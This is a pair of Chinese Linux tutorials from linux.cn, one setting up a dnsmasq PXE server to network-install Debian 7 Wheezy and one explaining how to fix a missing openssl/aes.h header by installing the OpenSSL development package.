一旦PXE服务器启动并运行,你可以指示你所有的客户机直接从网络启动,前提是你的客户机必须拥有一张支持网络启动的网卡,网络启动可以从BIOS的网络启动或启动服务选项中启用。

前置阅读

步骤1: 安装及配置DNSMASQ服务器

1. 首先,在安装Debian服务器后,要确保你的系统使用的是静态IP地址。因为除了网络启动之外,也要为你的整个网段提供DHCP服务。设置好静态IP地址后,以root帐号或具有root权力的用户来运行以下命令,进行DNSMASQ服务器的安装。

# apt-get install dnsmasq
Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

安装Dnsmasq包

2. 安装好DNSMASQ包后,你可以开始编辑配置文件。首先创建一个主配置文件的备份,然后使用下面的命令对dnsmasq.conf文件进行编辑。

# mv /etc/dnsmasq.conf  /etc/dnsmasq.conf.backup
# nano /etc/dnsmasq.conf
Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

备份Dnsmasq配置

3. 上面的备份过程适合重命名配置文件,所以新的文件应该是空,你可以使用以下描述的DNSMASQ配置文件节录。

interface=eth0
domain=debian.lan
dhcp-range=192.168.1.3,192.168.1.253,255.255.255.0,1h
dhcp-boot=pxelinux.0,pxeserver,192.168.1.100
pxe-prompt="Press F8 for menu.", 60
#pxe-service types: x86PC, PC98, IA64_EFI, Alpha, Arc_x86, Intel_Lean_Client, IA32_EFI, BC_EFI, Xscale_EFI and X86-64_EFI
pxe-service=x86PC, "Install Debian 7 Linux from network server 192.168.1.100", pxelinux
enable-tftp
tftp-root=/srv/tftp
Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

Dnsmasq配置

  • interface – 服务器监听的网络接口。
  • domain – 用你自己的域名替换。
  • dhcp-range – 用你自己的网络掩码定义的网络IP地址范围。
  • dhcp-boot – 保持默认,但使用你自己的服务器IP地址替换IP声明。
  • pxe-prompt – 保持默认 – 要求在敲击F8键 进入菜单时等待60秒。
  • pxe=service – 使用x86PC作为32位/64位架构,并进入引号字符串的菜单描述提示。其它值类型可能是:PC98,IA64EFI,Alpha,Arcx86,IntelLeanClient,IA32EFI, BCEFI,XscaleEFI和 X86-64EFI。
  • enable-tftp – 启用内建TFTP服务器。
  • tftp-root – 使用/srv/tftp作为Debian网络启动文件的存放位置。

步骤2: 下载Debian网络启动文件并打开防火墙连接

4. 现在,该下载Debian网络启动文件了。首先,修改你当前工作目录路径到TFTP根目录位置,此位置由最后的配置语句定义(/srv/tftp系统路径)。

转到Debian网络安装网络启动部分的官方页面镜像,抓取以下文件,要抓取的文件取决于你想要安装到客户端的系统架构。

下载好netboot.tar.gz文件后,同时提取归档(该过程描述只适用于64位,但对于其它系统架构也基本相同)。

# cd /srv/tftp/
# wget http://ftp.nl.debian.org/debian/dists/wheezy/main/installer-amd64/current/images/netboot/netboot.tar.gz
# tar xfz netboot.tar.gz
# wget http://ftp.nl.debian.org/debian/dists/wheezy/main/installer-amd64/current/images/SHA256SUMS
# wget http://ftp.nl.debian.org/debian/dists/wheezy/Release
# wget http://ftp.nl.debian.org/debian/dists/wheezy/Release.gpg

同时,必须确保TFTP目录中的所有文件都可让TFTP服务器读取。

# chmod -R 755 /srv/tftp/
Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

下载Debian网络启动文件

使用以下变量用于Debian网络安装镜像和架构。

# wget http://"$YOURMIRROR"/debian/dists/wheezy/main/installer-"$ARCH"/current/images/netboot/netboot.tar.gz
# wget http://"$YOURMIRROR"/debian/dists/wheezy/main/installer-"$ARCH"/current/images/SHA256SUMS
# wget http://"$YOURMIRROR"/debian/dists/wheezy/Release
# wget http://"$YOURMIRROR"/debian/dists/wheezy/Release.gpg

5. 下一步,启动或重启DNSMASQ守护进程,并运行netstat命令来获取服务器监听的端口列表。

# service dnsmasq restart
# netstat -tulpn | grep dnsmasq
Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

启动Dnsmasq服务

6. 基于Debian的发行版通常附带了UFW防火墙包。使用以下命令来打开需要的DNSMASQ端口号:67(Bootps),69(TFTP),53(DNS)4011(代理DHCP)udp和53 tcp(DNS)。

# ufw allow 69/udp
# ufw allow 4011/udp   ## Only if you have a ProxyDHCP on the network
# ufw allow 67/udp
# ufw allow 53/tcp
# ufw allow 53/udp
Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

开启Dnsmasq端口

现在,位于你的客户机网络接口上的PXE加载器将使用按以下顺序从/srv/tftp/pxelinux.cfg目录加载pxelinux配置文件。

  • GUID文件
  • MAC文件
  • 默认文件

来源:https://linux.cn/article-4146-1.html

Linux:Linux 有问必答:如何修复“fatal error: openssl/aes.h: No such file or directory

Question:我尝试在Linux编译一个程序,但是编译失败并报了一个错,“fatal error: openssl/aes.h: No such file or directory”。我该怎样安装要求的头文件并在我的Linux上解决这个问题?

fatal error: openssl/aes.h: No such file or directory

如果你在编译时遇到这个错误,这可能是下面的原因:你尝试编译的程序使用OpenSSL,但是需要和OpenSSL链接的文件(库和头文件)在你Linux平台上缺少。(LCTT 译注:其它类似的错误也可以照此处理)

Linux:Linux 有问必答:如何修复“fatal error: openssl/aes.h: No such file or directory
Linux:Linux 有问必答:如何修复“fatal error: openssl/aes.h: No such file or directory

要解决这个问题,你需要安装OpenSSL 开发包,这在所有的现代Linux发行版的标准软件仓库中都有。

要在Debian、Ubuntu或者其他衍生版上安装OpenSSL:

$ sudo apt-get install libssl-dev

要在Fedora、CentOS或者RHEL上安装OpenSSL开发包:

$ sudo yum install openssl-devel

安装完后,尝试重新编译程序。


via: http://ask.xmodulo.com/fix-fatal-error-openssl.html

译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4147-1.html